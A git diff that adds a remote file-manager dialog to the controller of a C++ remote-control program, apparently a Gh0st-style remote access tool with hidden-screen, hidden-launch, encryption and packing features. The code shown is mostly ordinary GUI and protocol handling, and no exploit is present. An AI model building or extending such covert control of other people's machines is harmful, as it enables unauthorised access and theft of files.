diff --git a/common/commands.h b/common/commands.h index d15a0e2..9255f1d 100644 --- a/common/commands.h +++ b/common/commands.h @@ -80,6 +80,12 @@ typedef void* LPVOID, * HANDLE; #define GET_FILEPATH(dir,file) [](char*d,const char*f){char*p=d;while(*p)++p;while('\\'!=*p&&p!=d)--p;strcpy(p+1,f);return d;}(dir,file) #endif +inline int isValid_60s() { + static time_t tm = time(nullptr); + int span = int(time(nullptr) - tm); + return span <= 60; +} + inline int isValid_30s() { static time_t tm = time(nullptr); int span = int(time(nullptr) - tm); @@ -226,7 +232,8 @@ enum TOKEN_KEYFRAME=134, // 关键帧 TOKEN_BITMAPINFO_HIDE, // 虚拟屏幕 TOKEN_SCREEN_SIZE, // 屏幕大小 - + TOKEN_DRIVE_LIST_PLUGIN = 150, // 文件管理(插件) + TOKEN_DECRYPT = 199, TOKEN_REGEDIT = 200, // 注册表 COMMAND_REG_FIND, // 注册表 管理标识 @@ -382,6 +389,49 @@ enum ChatManager { COMMAND_CHAT_SCREEN_UNLOCK, }; +// 文件管理 +enum FileManager { + COMMAND_COMPRESS_FILE_PARAM=220, + COMMAND_FILES_SEARCH_START, + COMMAND_FILES_SEARCH_STOP, + COMMAND_FILE_EXCEPTION, + COMMAND_SEARCH_FILE, + COMMAND_FILE_GETNETHOOD, + COMMAND_FILE_RECENT, + COMMAND_FILE_INFO, + COMMAND_FILE_Encryption, + COMMAND_FILE_Decrypt, + COMMAND_FILE_ENFOCE, + COMMAND_FILE_CopyFile, + COMMAND_FILE_PasteFile, + COMMAND_FILE_zip, + COMMAND_FILE_zip_stop, + COMMAND_FILE_NO_ENFORCE, + COMMAND_FILE_GETINFO, + + COMMAND_FILE_SEARCHPLUS_LIST, + + TOKEN_SEARCH_FILE_LIST, + TOKEN_SEARCH_FILE_FINISH, + TOKEN_CFileManagerDlg_DATA_CONTINUE, + TOKEN_COMPRESS_FINISH, + TOKEN_SEARCH_ADD, + TOKEN_SEARCH_END, + TOKEN_FILE_GETNETHOOD, + TOKEN_FILE_RECENT, + TOKEN_FILE_INFO, + TOKEN_FILE_REFRESH, + TOKEN_FILE_ZIPOK, + TOKEN_FILE_GETINFO, + + TOKEN_FILE_SEARCHPLUS_LIST, + TOKEN_FILE_SEARCHPLUS_NONTFS, + TOKEN_FILE_SEARCHPLUS_HANDLE, + TOKEN_FILE_SEARCHPLUS_INITUSN, + TOKEN_FILE_SEARCHPLUS_GETUSN, + TOKEN_FILE_SEARCHPLUS_NUMBER, +}; + enum { CLIENT_TYPE_DLL = 0, // 客户端代码以DLL运行 diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index a26ba02..83d8e89 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index ef9182c..ee78719 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -37,6 +37,7 @@ #include "DecryptDlg.h" #include "adapter.h" #include "client/MemoryModule.h" +#include #ifdef _DEBUG #define new DEBUG_NEW @@ -384,6 +385,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_MESSAGE(WM_OPENMACHINEMGRDLG, OnOpenMachineManagerDialog) ON_MESSAGE(WM_OPENCHATDIALOG, OnOpenChatDialog) ON_MESSAGE(WM_OPENDECRYPTDIALOG, OnOpenDecryptDialog) + ON_MESSAGE(WM_OPENFILEMGRDIALOG, OnOpenFileMgrDialog) ON_MESSAGE(WM_UPXTASKRESULT, UPXProcResult) ON_WM_HELPINFO() ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare) @@ -1723,6 +1725,11 @@ VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject) Dlg->OnReceiveComplete(); break; } + case FILEMGR_DLG: { + file::CFileManagerDlg* Dlg = (file::CFileManagerDlg*)ContextObject->hDlg; + Dlg->OnReceiveComplete(); + break; + } default: { HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (hEvent == NULL) { @@ -1875,6 +1882,11 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) Sleep(10); break; } + case TOKEN_DRIVE_LIST_PLUGIN: // 鏂囦欢绠$悊 + { + g_2015RemoteDlg->SendMessage(WM_OPENFILEMGRDIALOG, 0, (LPARAM)ContextObject); + break; + } case TOKEN_BITMAPINFO_HIDE: { // 铏氭嫙妗岄潰 g_2015RemoteDlg->SendMessage(WM_OPENHIDESCREENDLG, 0, (LPARAM)ContextObject); break; @@ -2126,6 +2138,12 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) delete Dlg; break; } + case FILEMGR_DLG: + { + file::CFileManagerDlg* Dlg = (file::CFileManagerDlg*)p->hDlg; + ::PostMessageA(Dlg->GetSafeHwnd(), WM_CLOSE, 0, 0); + break; + } default:break; } delete p; @@ -2450,6 +2468,21 @@ LRESULT CMy2015RemoteDlg::OnOpenDecryptDialog(WPARAM wParam, LPARAM lParam) return 0; } +LRESULT CMy2015RemoteDlg::OnOpenFileMgrDialog(WPARAM wParam, LPARAM lParam) +{ + CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; + + file::CFileManagerDlg* Dlg = new file::CFileManagerDlg(this, m_iocpServer, ContextObject); + + Dlg->Create(IDD_FILE_WINOS, GetDesktopWindow()); + Dlg->ShowWindow(SW_SHOW); + + ContextObject->v1 = FILEMGR_DLG; + ContextObject->hDlg = Dlg; + + return 0; +} + BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo) { MessageBox("Copyleft (c) FTU 2025", "鍏充簬"); diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 7aab795..f417bb2 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -231,6 +231,7 @@ public: afx_msg LRESULT OnOpenProxyDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenChatDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenDecryptDialog(WPARAM wParam, LPARAM lParam); + afx_msg LRESULT OnOpenFileMgrDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam); afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo); virtual BOOL PreTranslateMessage(MSG* pMsg); diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 3c86b3b..25f67c0 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -269,6 +269,9 @@ + + + @@ -326,6 +329,9 @@ + + + diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters new file mode 100644 index 0000000..52e682e --- /dev/null +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -0,0 +1,185 @@ +锘 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + file + + + file + + + file + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + file + + + file + + + file + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + {17217547-dc35-4a87-859c-e8559529a909} + + + \ No newline at end of file diff --git a/server/2015Remote/file/CFileListCtrl.cpp b/server/2015Remote/file/CFileListCtrl.cpp new file mode 100644 index 0000000..2a3d216 --- /dev/null +++ b/server/2015Remote/file/CFileListCtrl.cpp @@ -0,0 +1,24 @@ +#include "StdAfx.h" +#include "2015Remote.h" +#include "CFileListCtrl.h" +#include "CFileManagerDlg.h" + +using namespace file; + +BEGIN_MESSAGE_MAP(CFileListCtrl, CListCtrl) + ON_WM_DROPFILES() +END_MESSAGE_MAP() + +void CFileListCtrl::SetParenDlg(VOID* p_CFileManagerDlg) +{ + m_pCFileManagerDlg = p_CFileManagerDlg; +} + +void CFileListCtrl::OnDropFiles(HDROP hDropInfo) +{ + TCHAR filePath[MAX_PATH] = { 0 }; + DragQueryFile(hDropInfo, 0, filePath, sizeof(filePath) * 2 + 2); + ((CFileManagerDlg*)m_pCFileManagerDlg)->TransferSend(filePath); + ::DragFinish(hDropInfo); + CListCtrl::OnDropFiles(hDropInfo); +} diff --git a/server/2015Remote/file/CFileListCtrl.h b/server/2015Remote/file/CFileListCtrl.h new file mode 100644 index 0000000..d57332c --- /dev/null +++ b/server/2015Remote/file/CFileListCtrl.h @@ -0,0 +1,14 @@ +#pragma once +#include + + +class CFileListCtrl :public CListCtrl +{ + DECLARE_MESSAGE_MAP() + + +public: + void* m_pCFileManagerDlg; + void SetParenDlg(VOID* p_CFileManagerDlg); + afx_msg void OnDropFiles(HDROP hDropInfo); +}; diff --git a/server/2015Remote/file/CFileManagerDlg.cpp b/server/2015Remote/file/CFileManagerDlg.cpp new file mode 100644 index 0000000..9ff0559 --- /dev/null +++ b/server/2015Remote/file/CFileManagerDlg.cpp @@ -0,0 +1,2505 @@ +// FileManagerDlg.cpp : implementation file +#include "stdafx.h" +#include "2015Remote.h" +#include "CFileManagerDlg.h" +#include "CFileTransferModeDlg.h" + +#include "InputDlg.h" +#include +#include + +#ifdef _DEBUG +#define new DEBUG_NEW +#endif +#define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32)) + +static UINT indicators[] = { + ID_SEPARATOR, // status line indicator + ID_SEPARATOR, + ID_SEPARATOR +}; + +///////////////////////////////////////////////////////////////////////////// +// CFileManagerDlg dialog + +using namespace file; + +CFileManagerDlg::CFileManagerDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext) + : DialogBase(CFileManagerDlg::IDD, pParent, pIOCPServer, pContext, 0) +{ + m_ProgressCtrl = nullptr; + m_SearchStr = _T(""); + m_bSubFordle = FALSE; + m_bOnClose = 0; + id_search_result = 0; + m_iocpServer = pIOCPServer; + m_pContext = pContext; + m_IPAddress = m_pContext->PeerName.c_str(); + m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_File)); //窗口图标 + // 保存远程驱动器列表 + m_bCanAdmin = (*m_pContext->m_DeCompressionBuffer.GetBuffer(1)) == 0x01; + m_strDesktopPath = (TCHAR*)m_pContext->m_DeCompressionBuffer.GetBuffer(2); + memset(m_bRemoteDriveList, 0, sizeof(m_bRemoteDriveList)); + memcpy(m_bRemoteDriveList, m_pContext->m_DeCompressionBuffer.GetBuffer(1 + 1 + (m_strDesktopPath.GetLength() + 1) * sizeof(TCHAR)), + m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1 - 1 - (m_strDesktopPath.GetLength() + 1) * sizeof(TCHAR)); + + m_bUseAdmin = false; + m_hFileSend = INVALID_HANDLE_VALUE; + m_hFileRecv = INVALID_HANDLE_VALUE; + m_nTransferMode = TRANSFER_MODE_NORMAL; + m_nOperatingFileLength = 0; + m_nCounter = 0; + m_bIsStop = false; + + DRIVE_Sys = FALSE; + DRIVE_CAZ = FALSE; + Bf_nCounters = 0;// 备份计数器 由于比较用 + Bf_dwOffsetHighs = 0; + Bf_dwOffsetLows = 0; + + m_bDragging = FALSE; +} + +void CFileManagerDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + DDX_Control(pDX, IDC_REMOTE_PATH, m_Remote_Directory_ComboBox); + DDX_Control(pDX, IDC_LIST_REMOTE, m_list_remote); + DDX_Control(pDX, IDC_LIST_REMOTE_DRIVER, m_list_remote_driver); + + DDX_Control(pDX, IDC_BTN_SEARCH, m_BtnSearch); + DDX_Text(pDX, IDC_EDT_SEARCHSTR, m_SearchStr); + DDX_Check(pDX, IDC_CK_SUBFORDLE, m_bSubFordle); + DDX_Control(pDX, IDC_LIST_REMOTE_SEARCH, m_list_remote_search); +} + +BEGIN_MESSAGE_MAP(CFileManagerDlg, CDialog) + ON_WM_QUERYDRAGICON() + ON_WM_SIZE() + ON_WM_MOUSEMOVE() + ON_WM_LBUTTONUP() + ON_WM_TIMER() + ON_WM_CLOSE() + + ON_NOTIFY(NM_DBLCLK, IDC_LIST_REMOTE_DRIVER, OnDblclkListRemotedriver) //主1 双击 + ON_NOTIFY(NM_DBLCLK, IDC_LIST_REMOTE, OnDblclkListRemote) //主 双击 + ON_NOTIFY(NM_RCLICK, IDC_LIST_REMOTE_DRIVER, OnRclickListRemotedriver) //主1 右键 + ON_NOTIFY(NM_RCLICK, IDC_LIST_REMOTE, OnRclickListRemote) //主 右键 + ON_NOTIFY(NM_RCLICK, IDC_LIST_REMOTE_SEARCH, OnRclickListSearch) //搜索 右键 + + ON_NOTIFY(NM_CLICK, IDC_LIST_REMOTE_DRIVER, OnclkListRemotedriver) //主1 单击 + ON_NOTIFY(NM_CLICK, IDC_LIST_REMOTE, OnclkListRemote) //主 单击 + ON_NOTIFY(NM_CLICK, IDC_LIST_REMOTE_SEARCH, OnclickListSearch) //搜索 单击 + + ON_NOTIFY(LVN_ENDLABELEDIT, IDC_LIST_REMOTE, OnEndLabelEditListRemote) + ON_NOTIFY(LVN_BEGINDRAG, IDC_LIST_REMOTE, OnBeginDragListRemote) + + ON_COMMAND(IDT_REMOTE_VIEW, OnRemoteView) //显示方式 + ON_COMMAND(IDT_REMOTE_PREV, OnRemotePrev) //向上 + ON_COMMAND(IDT_REMOTE_STOP, OnRemoteStop) //取消 + ON_BN_CLICKED(IDC_BUTTON_GO, OnGo) + ON_COMMAND(IDM_RENAME, OnRename) + ON_COMMAND(IDM_DELETE, OnDelete) + ON_COMMAND(IDM_DELETE_ENFORCE, OnDeleteEnforce) + ON_COMMAND(IDM_NEWFOLDER, OnNewFolder) + ON_COMMAND(IDM_USE_ADMIN, OnUseAdmin) + ON_COMMAND(IDM_REMOTE_OPEN_SHOW, OnRemoteOpenShow) + ON_COMMAND(IDM_REMOTE_OPEN_HIDE, OnRemoteOpenHide) + ON_COMMAND(IDM_GET_FILEINFO, OnRemoteInfo) + ON_COMMAND(ID_FILEMANGER_Encryption, OnRemoteEncryption) + ON_COMMAND(ID_FILEMANGER_decrypt, OnRemoteDecrypt) + ON_COMMAND(ID_FILEMANGER_COPY, OnRemoteCopyFile) + ON_COMMAND(ID_FILEMANGER_PASTE, OnRemotePasteFile) + ON_COMMAND(ID_FILEMANGER_ZIP, OnRemotezip) + ON_COMMAND(ID_FILEMANGER_ZIP_STOP, OnRemotezipstop) + + ON_COMMAND(IDM_COMPRESS, OnCompress) + ON_COMMAND(IDM_UNCOMPRESS, OnUncompress) + ON_COMMAND(IDM_REFRESH, OnRefresh) + ON_COMMAND(IDM_TRANSFER_S, OnTransferSend) + ON_COMMAND(IDM_TRANSFER_R, OnTransferRecv) + ON_CBN_SETFOCUS(IDC_REMOTE_PATH, OnSetfocusRemotePath) + ON_BN_CLICKED(IDC_BTN_SEARCH, OnBtnSearch) + ON_BN_CLICKED(ID_SEARCH_STOP, OnBnClickedSearchStop) + ON_BN_CLICKED(ID_SEARCH_RESULT, OnBnClickedSearchResult) +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CFileManagerDlg message handlers + +BOOL CFileManagerDlg::MyShell_GetImageLists() +{ + I_ImageList0.DeleteImageList(); + I_ImageList0.Create(32, 32, ILC_COLOR32 | ILC_MASK, 2, 2); + I_ImageList0.SetBkColor(::GetSysColor(COLOR_BTNFACE)); + + I_ImageList0.Add(AfxGetApp()->LoadIcon(IDI_MGICON_A)); + I_ImageList0.Add(AfxGetApp()->LoadIcon(IDI_MGICON_C)); + I_ImageList0.Add(AfxGetApp()->LoadIcon(IDI_MGICON_D)); + I_ImageList0.Add(AfxGetApp()->LoadIcon(IDI_MGICON_E)); + I_ImageList0.Add(AfxGetApp()->LoadIcon(IDI_MGICON_F)); + I_ImageList0.Add(AfxGetApp()->LoadIcon(IDI_MGICON_G)); + + I_ImageList1.DeleteImageList(); + I_ImageList1.Create(16, 16, ILC_COLOR32 | ILC_MASK, 2, 2); + I_ImageList1.SetBkColor(::GetSysColor(COLOR_BTNFACE)); + I_ImageList1.Add(AfxGetApp()->LoadIcon(IDI_MGICON_A)); + I_ImageList1.Add(AfxGetApp()->LoadIcon(IDI_MGICON_C)); + I_ImageList1.Add(AfxGetApp()->LoadIcon(IDI_MGICON_D)); + I_ImageList1.Add(AfxGetApp()->LoadIcon(IDI_MGICON_E)); + I_ImageList1.Add(AfxGetApp()->LoadIcon(IDI_MGICON_F)); + I_ImageList1.Add(AfxGetApp()->LoadIcon(IDI_MGICON_G)); + m_list_remote_driver.SetImageList(&I_ImageList0, LVSIL_NORMAL); + m_list_remote_driver.SetImageList(&I_ImageList1, LVSIL_SMALL); + return TRUE; +} + +BOOL CFileManagerDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + + RECT rect; + GetClientRect(&rect); + + // 设置标题 + CString str; + str.Format(_T("文件管理 - %s"), m_pContext->PeerName.c_str()), SetWindowText(str); + + // 创建带进度条的状态栏 + if (!m_wndStatusBar.Create(this) || + !m_wndStatusBar.SetIndicators(indicators, + sizeof(indicators) / sizeof(UINT))) { + TRACE0("Failed to create status bar\n"); + return -1; // fail to create + } + + m_wndStatusBar.SetPaneInfo(0, m_wndStatusBar.GetItemID(0), SBPS_STRETCH, NULL); + m_wndStatusBar.SetPaneInfo(1, m_wndStatusBar.GetItemID(1), SBPS_NORMAL, 100); + m_wndStatusBar.SetPaneInfo(2, m_wndStatusBar.GetItemID(2), SBPS_NORMAL, 210); + RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //显示状态栏 + + m_wndStatusBar.GetItemRect(1, &rect); + m_ProgressCtrl = new CProgressCtrl; + m_ProgressCtrl->Create(PBS_SMOOTH | WS_VISIBLE, rect, &m_wndStatusBar, 1); + m_ProgressCtrl->SetRange(0, 100); //设置进度条范围 + m_ProgressCtrl->SetPos(0); //设置进度条当前位置 + + SHAutoComplete(GetDlgItem(IDC_REMOTE_PATH)->GetWindow(GW_CHILD)->m_hWnd, SHACF_FILESYSTEM); + + SetIcon(m_hIcon, TRUE); // Set big icon + SetIcon(m_hIcon, FALSE); // Set small icon + + MyShell_GetImageLists(); + + m_list_remote_driver.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_ONECLICKACTIVATE | LVS_EX_SUBITEMIMAGES | LVS_EX_GRIDLINES | LVS_SHAREIMAGELISTS); + m_list_remote.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_ONECLICKACTIVATE | LVS_EX_SUBITEMIMAGES | LVS_EX_GRIDLINES | LVS_SHAREIMAGELISTS); + m_list_remote_search.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_ONECLICKACTIVATE | LVS_EX_SUBITEMIMAGES | LVS_EX_GRIDLINES | LVS_SHAREIMAGELISTS); + + //设置列表控件的大小图标 + static bool init = false; + static CImageList m_pImageList_Large; //系统大图标 + static CImageList m_pImageList_Small; //系统小图标 + if (!init) { + init = true; + SHFILEINFO sfi = {}; + HIMAGELIST hImageList = (HIMAGELIST)SHGetFileInfo((LPCTSTR)_T(""), 0, &sfi, sizeof(SHFILEINFO), SHGFI_LARGEICON | SHGFI_SYSICONINDEX); + m_pImageList_Large.Attach(hImageList); + hImageList = (HIMAGELIST)SHGetFileInfo((LPCTSTR)_T(""), 0, &sfi, sizeof(SHFILEINFO), SHGFI_SMALLICON | SHGFI_SYSICONINDEX); + m_pImageList_Small.Attach(hImageList); + } + + m_list_remote.SetImageList(&m_pImageList_Large, LVSIL_NORMAL); + m_list_remote.SetImageList(&m_pImageList_Small, LVSIL_SMALL); + + m_list_remote_search.SetImageList(&m_pImageList_Large, LVSIL_NORMAL); + m_list_remote_search.SetImageList(&m_pImageList_Small, LVSIL_SMALL); + + m_list_remote_driver.InsertColumn(0, _T("名称"), LVCFMT_LEFT, 50); + m_list_remote_driver.InsertColumn(1, _T("类型"), LVCFMT_LEFT, 38); + m_list_remote_driver.InsertColumn(2, _T("总大小"), LVCFMT_LEFT, 70); + m_list_remote_driver.InsertColumn(3, _T("可用空间"), LVCFMT_LEFT, 70); + + m_list_remote.InsertColumn(0, _T("名称"), LVCFMT_LEFT, 250); + m_list_remote.InsertColumn(1, _T("大小"), LVCFMT_LEFT, 70); + m_list_remote.InsertColumn(2, _T("类型"), LVCFMT_LEFT, 120); + m_list_remote.InsertColumn(3, _T("修改日期"), LVCFMT_LEFT, 115); + m_list_remote.SetParenDlg(this); + + //设置搜索list表头 + m_list_remote_search.ShowWindow(SW_HIDE); + m_list_remote_search.InsertColumn(0, _T("文件名"), LVCFMT_LEFT, 130); + m_list_remote_search.InsertColumn(1, _T("大小"), LVCFMT_LEFT, 100); + m_list_remote_search.InsertColumn(2, _T("修改日期"), LVCFMT_LEFT, 100); + m_list_remote_search.InsertColumn(3, _T("文件路径"), LVCFMT_LEFT, 450); + SetWindowPos(NULL, 0, 0, 830, 500, SWP_NOMOVE); + + FixedRemoteDriveList(); + + return TRUE; +} + +void CFileManagerDlg::OnSize(UINT nType, int cx, int cy) +{ + CDialog::OnSize(nType, cx, cy); + + // TODO: Add your message handler code here + // 状态栏还没有创建 + if (m_wndStatusBar.m_hWnd == NULL) + return; + // 定位状态栏 + RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //显示工具栏 + RECT rect; + m_wndStatusBar.GetItemRect(1, &rect); + m_ProgressCtrl->MoveWindow(&rect); +} + +void CFileManagerDlg::OnBeginDragListRemote(NMHDR* pNMHDR, LRESULT* pResult) +{ + NM_LISTVIEW* pNMListView = (NM_LISTVIEW*)pNMHDR; + //We will call delete later (in LButtonUp) to clean this up + + if (m_list_remote.GetSelectedCount() > 1) //选择了列表中的超过 1 个项目 + m_hCursor = AfxGetApp()->LoadCursor(IDC_MUTI_DRAG); + else + m_hCursor = AfxGetApp()->LoadCursor(IDC_DRAG); + + ASSERT(m_hCursor); + m_bDragging = TRUE; + SetCapture(); + *pResult = 0; +} + +void CFileManagerDlg::OnLButtonUp(UINT nFlags, CPoint point) +{ + if (m_bDragging) { + m_bDragging = FALSE; + BOOL bDownload = FALSE; + SetCursor(LoadCursor(NULL, IDC_NO)); + + TCHAR str[1024] = TEXT("c:\\"); + HWND hwnd = NULL; + POINT pNow = { 0,0 }; + if (GetCursorPos(&pNow)) // 获取鼠标当前位置 + mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_LEFTDOWN, pNow.x, pNow.y, 0, 0); + mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_LEFTUP, pNow.x, pNow.y, 0, 0); + Sleep(150); + HWND hwndPointNow = NULL; + hwndPointNow = ::WindowFromPoint(pNow); // 获取鼠标所在窗口的句柄 + TCHAR szBuf_class[MAX_PATH]; + TCHAR szBuf_title[MAX_PATH]; + ::GetWindowText(hwndPointNow, szBuf_title, MAX_PATH); + GetClassName(hwndPointNow, szBuf_class, MAX_PATH); + if ((lstrcmp(szBuf_class, _T("SysListView32")) == 0) && (lstrcmp(szBuf_title, _T("FolderView")) == 0)) { + TCHAR DeskTopPath[255]; + SHGetSpecialFolderPath(0, DeskTopPath, CSIDL_DESKTOPDIRECTORY, 0); + strLpath = DeskTopPath; + bDownload = TRUE; + } else { + GetClassName(hwndPointNow, szBuf_class, MAX_PATH); + if ((lstrcmp(szBuf_class, _T("DirectUIHWND")) == 0)) { + hwnd = ::FindWindowEx(NULL, NULL, TEXT("CabinetWClass"), NULL); + hwnd = ::FindWindowEx(hwnd, NULL, TEXT("WorkerW"), NULL); + hwnd = ::FindWindowEx(hwnd, NULL, TEXT("ReBarWindow32"), NULL); + + hwnd = ::FindWindowEx(hwnd, NULL, TEXT("ComboBoxEx32"), NULL); //XP + if (hwnd == NULL) { + hwnd = ::FindWindowEx(NULL, NULL, TEXT("CabinetWClass"), NULL); + hwnd = ::FindWindowEx(hwnd, NULL, TEXT("WorkerW"), NULL); + hwnd = ::FindWindowEx(hwnd, NULL, TEXT("ReBarWindow32"), NULL); + hwnd = ::FindWindowEx(hwnd, NULL, TEXT("Address Band Root"), NULL); + hwnd = ::FindWindowEx(hwnd, NULL, TEXT("msctls_progress32"), NULL); + + hwnd = ::FindWindowEx(hwnd, NULL, TEXT("Breadcrumb Parent"), NULL); + hwnd = ::FindWindowEx(hwnd, NULL, TEXT("ToolbarWindow32"), NULL); + } + + if (hwnd == NULL) { + ::MessageBox(NULL, _T("请拖拽到文件管理器选定目录中"), TEXT("错误"), 0); + } else { + ::SendMessage(hwnd, WM_GETTEXT, 1024, (LPARAM)str); + strLpath = str + 4; + bDownload = TRUE; + } + } + } + if (bDownload) { + m_bIsUpload = false; + // 禁用文件管理窗口 + EnableControl(FALSE); + + CString file; + m_Remote_Download_Job.RemoveAll(); + POSITION pos = m_list_remote.GetFirstSelectedItemPosition(); + while (pos) { + int nItem = m_list_remote.GetNextSelectedItem(pos); + file = m_Remote_Path + m_list_remote.GetItemText(nItem, 0); + // 如果是目录 + if (m_list_remote.GetItemData(nItem)) + file += '\\'; + m_Remote_Download_Job.AddTail(file); + } + if (file.IsEmpty()) { + EnableControl(TRUE); + ::MessageBox(m_hWnd, _T("请选择文件!"), _T("警告"), MB_OK | MB_ICONWARNING); + return; + } + + if (strLpath == _T("")) { + EnableControl(TRUE); + return; + } + if (strLpath.GetAt(strLpath.GetLength() - 1) != _T('\\')) + strLpath += _T("\\"); + m_nTransferMode = TRANSFER_MODE_NORMAL; + // 发送第一个下载任务 + SendDownloadJob(); + } + } + CDialog::OnLButtonUp(nFlags, point); +} + + +BOOL CFileManagerDlg::PreTranslateMessage(MSG* pMsg) +{ + if (pMsg->message == WM_KEYDOWN) { + if (pMsg->wParam == VK_ESCAPE) + return true; + if (pMsg->wParam == VK_RETURN) { + if (pMsg->hwnd == m_list_remote.m_hWnd || + pMsg->hwnd == ((CEdit*)m_Remote_Directory_ComboBox.GetWindow(GW_CHILD))->m_hWnd) { + GetRemoteFileList(); + } + return TRUE; + } + } + // 单击除了窗口标题栏以外的区域使窗口移动 + if (pMsg->message == WM_LBUTTONDOWN && pMsg->hwnd == m_hWnd) { + pMsg->message = WM_NCLBUTTONDOWN; + pMsg->wParam = HTCAPTION; + } + + return CDialog::PreTranslateMessage(pMsg); +} + +void CFileManagerDlg::OnTimer(UINT_PTR nIDEvent) +{ + // TODO: Add your message handler code here and/or call default + m_ProgressCtrl->StepIt(); + CDialog::OnTimer(nIDEvent); +} + +void CFileManagerDlg::FixedRemoteDriveList() +{ + // 加载系统统图标列表 设置驱动器图标列表 + //加载系统图标 + + DRIVE_Sys = FALSE; + BYTE* pDrive = NULL; + pDrive = (BYTE*)m_bRemoteDriveList; + int count = 0; + int AmntMB = 0; // 总大小 + int FreeMB = 0; // 剩余空间 + + /* + 6 DRIVE_FLOPPY + 7 DRIVE_REMOVABLE + 8 DRIVE_FIXED + 9 DRIVE_REMOTE + 10 DRIVE_REMOTE_DISCONNECT + 11 DRIVE_CDROM + */ + int nIconIndex = -1; + //用一个循环遍历所有发送来的信息,先是到列表中 + for (int i = 0; pDrive[i] != '\0';) { + //由驱动器名判断图标的索引 + if (pDrive[i] == _T('A') || pDrive[i] == _T('B')) { + nIconIndex = 0; + } else { + switch (pDrive[i + 2]) { + case DRIVE_REMOVABLE: + nIconIndex = 3; + break; + case DRIVE_FIXED: + if (!DRIVE_Sys) { + DRIVE_Sys = TRUE; + nIconIndex = 1; + } else + nIconIndex = 2; + break; + case DRIVE_REMOTE: + nIconIndex = 4; + break; + case DRIVE_CDROM: + nIconIndex = 5; + break; + default: + nIconIndex = 2; + break; + } + } + //显示驱动器名 + CString str; + str.Format(_T("%c:\\"), pDrive[i]); + int nItem = m_list_remote_driver.InsertItem(i, str, nIconIndex); + m_list_remote_driver.SetItemData(nItem, 1); + //显示驱动器大小 + memcpy(&AmntMB, pDrive + i + 4, 4); + memcpy(&FreeMB, pDrive + i + 8, 4); + str.Format(_T("%0.1f GB"), (float)AmntMB / 1024); + m_list_remote_driver.SetItemText(nItem, 2, str); + str.Format(_T("%0.1f GB"), (float)FreeMB / 1024); + m_list_remote_driver.SetItemText(nItem, 3, str); + + i += 12; + + TCHAR* lpFileSystemName = NULL; + TCHAR* lpTypeName = NULL; + + lpTypeName = (TCHAR*)(pDrive + i); + i += (lstrlen(lpTypeName) + 1) * sizeof(TCHAR); + lpFileSystemName = (TCHAR*)(pDrive + i); + + // 磁盘类型, 为空就显示磁盘名称 + if (lstrlen(lpFileSystemName) == 0) { + m_list_remote_driver.SetItemText(nItem, 1, lpTypeName); + } else { + m_list_remote_driver.SetItemText(nItem, 1, lpFileSystemName); + } + + i += (lstrlen(lpFileSystemName) + 1) * sizeof(TCHAR); + count++; + } + + m_list_remote_driver.InsertItem(0, _T("桌面"), nIconIndex); + m_list_remote_driver.InsertItem(0, _T("最近"), nIconIndex); + count += 2; + + // 重置远程当前路径 + m_Remote_Path = ""; + m_Remote_Directory_ComboBox.ResetContent(); + + DRIVE_CAZ = FALSE; + DWORD_PTR dwResult; + ShowMessage(_T("远程计算机:磁盘列表")); + SendMessageTimeout(m_ProgressCtrl->GetSafeHwnd(), PBM_SETPOS, 0, 0, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); + SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), 